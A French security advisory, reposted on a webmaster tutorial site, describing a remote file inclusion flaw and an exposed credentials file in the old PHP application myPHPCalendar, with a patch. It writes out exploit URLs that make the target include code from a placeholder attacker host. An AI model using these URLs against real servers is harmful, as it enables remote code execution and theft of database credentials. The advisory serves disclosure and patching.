Bienvenue sur horslimite.net
Ce site vous propose tutoriels de programmations (php javascript ...) forum compteur de connectés, compteur de visites, script php, téléchargement de logiciel, Blog etc...
les DRM c’est la grippe aviaire du numérique et de la culture
 
aide webmastering webmaster compteur forum Menu
home
  • News
  • Recherche
  • Téléchargement
  • Statistiques
  • Tutoriels      
  • PHP     
  • JavaScript     
  • Crack
  • Linux     
  • Back orifice
  • Faille include (php)
  • Membre      
  • Inscription
  • Liste des membres
  • Votre profil
  • Compteur de visites
  • Compteur de connectés
  • Votre carte membre
  • Messagerie interne
  • Blog
  • Service      
  • Whois
  • Header d\\\\'une page
  • Obtenir une IP
  • Générateur de méta-tags
  • Forum



    Votez pour ce site au Weborama
    > tutoriel > exploit > myPHPCalendar


    myPHPCalendar

    myPHPCalendar
    *************
    Informations :
    °°°°°°°°°°°°°°
    Langage : PHP
    Version : 10192000 Build 1 Beta
    Website : http://myphpcalendar.sourceforge.net/
    Problèmes : - Inclusions de fichiers
    - Récuperation d'infos de la DB

    Developpement :
    °°°°°°°°°°°°°°°
    Comme le dit son nom, myPHPCalendar est un calendrier en PHP, avec de nombreuses possibilités, comme sa gestion par une zone
    admin,...
    Dans les fichiers admin.php, contacts.php et convert-date.php, on voit la ligne de code :
    ------------------------
    include ("globals.inc");
    ------------------------
    Et dans globals.inc, on voit les lignes :
    ------------------------------
    include($cal_dir."vars.inc");
    include($cal_dir."prefs.inc");
    ------------------------------
    La variable $cal_dir n'est définie ni dans globals.inc, ni dans aucun des 3 fichiers PHP.
    Si, dans php.ini, register_global=ON, alors on peut définir nous même la valeur de $cal_dir... et donc inclure
    des fichiers venant de l'exterieur.
    Ainsi pour inclure le(s) fichier(s) http://[attacker]/vars.inc et/ou http://[attacker]/prefs.inc, et les faire
    exécuter sur le serveur http://[target], on pourra passer par les urls :
    http://[target]/admin.php?cal_dir=http://[attacker]/
    http://[target]/contacts.php?cal_dir=http://[attacker]/
    http://[target]/convert-date.php?cal_dir=http://[attacker]/

    La même faille se trouve dans le fichier index.php, sauf qu'elle ne passe pas par globals.inc :
    ----------------------------------------
    include ($cal_dir."globals.inc");
    [...]
    include($cal_dir."sql.inc");
    ----------------------------------------
    Donc pour inclure sur http://[target] les fichier globals.inc et sql.inc se trouvant sur http://[attacker],
    il faudra taper l'url :
    http://[target]/index.php?cal_dir=http://[attacker]/

    Enfin, dans le fichier d'installation setup.php, on peut voir le code :
    ----------------------------------------------------------------
    $fp = fopen("setup.inc", "w+");
    fputs($fp, "<?php\n");
    fputs($fp, "\$url = \"".$URL."\";\n");
    fputs($fp, "\$mainscript = \"".$MAINSCRIPT."\";\n");
    fputs($fp, "\$mysql_server = \"".$MYSQL_SERVER."\";\n");
    fputs($fp, "\$mysql_username = \"".$MYSQL_USERNAME."\";\n");
    fputs($fp, "\$mysql_pass = \"".$MYSQL_PASS."\";\n");
    fputs($fp, "\$database_name = \"".$DATABASE_NAME."\";\n");
    fputs($fp, "\$db_type = \"".$DB_TYPE."\";\n");
    fputs($fp, "\$user_text = \"".$USER_TEXT."\";\n");
    fputs($fp, "\$crypt_type = \"".$CRYPT_TYPE."\";\n");
    fputs($fp, "\$display_username = \"".$DISPLAY_USERNAME."\";\n");
    fputs($fp, "\$maxdisplay = \"".$MAXDISPLAY."\";\n");
    fputs($fp, "\$admin_email = \"".$ADMIN_EMAIL."\";\n");
    ----------------------------------------------------------------
    Donc toutes les informations de la base de données sont stockées dans un fichier .inc (setup.inc), accessible
    à tous à une url du style http://[target]/setup.inc.

    Patch :
    °°°°°°°
    Un patch est disponible sur http://www.phpsecure.info.
    - Pour l'inclusion, dans les quatres fichiers PHP, rajouter au tout début du code la ligne :
    ----------------
    $cal_dir = "./";
    ----------------
    - Pour le setup.inc, le renommer en setup.inc.php, et changer toutes ses occurences dans le code PHP.

    Credits :
    °°°°°°°°°
    Auteur : frog-m@n
    E-mail : leseulfrog@hotmail.com
    Website : http://www.phpsecure.info
    Date : 22/08/03




    Copyright frog-m@n http://www.phpsecure.info/v2/zone/pArticle
     
    page générée en 72 millisecondes